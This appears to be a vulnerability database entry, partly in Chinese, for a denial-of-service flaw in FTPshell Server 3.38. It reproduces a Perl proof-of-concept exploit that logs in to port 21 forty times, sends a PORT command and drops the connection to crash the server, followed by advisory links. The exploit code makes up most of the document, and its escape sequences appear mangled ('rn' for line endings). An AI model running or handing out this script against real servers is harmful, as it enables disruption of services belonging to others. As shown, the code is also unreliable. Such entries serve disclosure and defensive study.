https://www.exploit-db.com/exploits/1121
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200508-034

FTPshellServer3.38允许远程已验证用户通过多次连接和断开(没有使用QUIT命令)来造成拒绝服务(应用程序崩溃)。

#!/usr/bin/perl
#
# Usage: FTPShell_FTPDOS.pl <ip> <user> <pass>
#        FTPShell_FTPDOS.pl 127.0.0.1 hello moto
#
# FTPshell Server Version 3.38
#
# Download:
# http://www.ftpshell.com/
#
################################################

use IO::Socket;
use Win32;
use strict;

my($i)      = "";
my($socket) = "";

for ($i = 1; $i <= 40; $i++)
{
        if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                            PeerPort => "21",
                                            Proto    => "TCP"))
        {
                print "Login #$in";

                Win32::Sleep(300);

                print $socket "USER $ARGV[1]rn";

                Win32::Sleep(100);

                print $socket "PASS $ARGV[2]rn";

                Win32::Sleep(100);

                print $socket "PORT 127,0,0,1,18,12rn";

                Win32::Sleep(100);

                close($socket);
        }
        else
        {
                print "Cannot connect to $ARGV[0]:21n";
        }
}

# milw0rm.com [2005-07-26]

来源:XF
名称:ftpshell-port-dos(21531)
链接:http://xforce.iss.net/xforce/xfdb/21531
来源:BID
名称:14382
链接:http://www.securityfocus.com/bid/14382
来源:SECTRACK
名称:1014580
链接:http://securitytracker.com/id?1014580
来源:SECUNIA
名称:16189
链接:http://secunia.com/advisories/16189
来源:BUGTRAQ
名称:20050726DenialofservicevulnerabilityinFTPshellServerVersion3.38
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=112239297430460&w;=2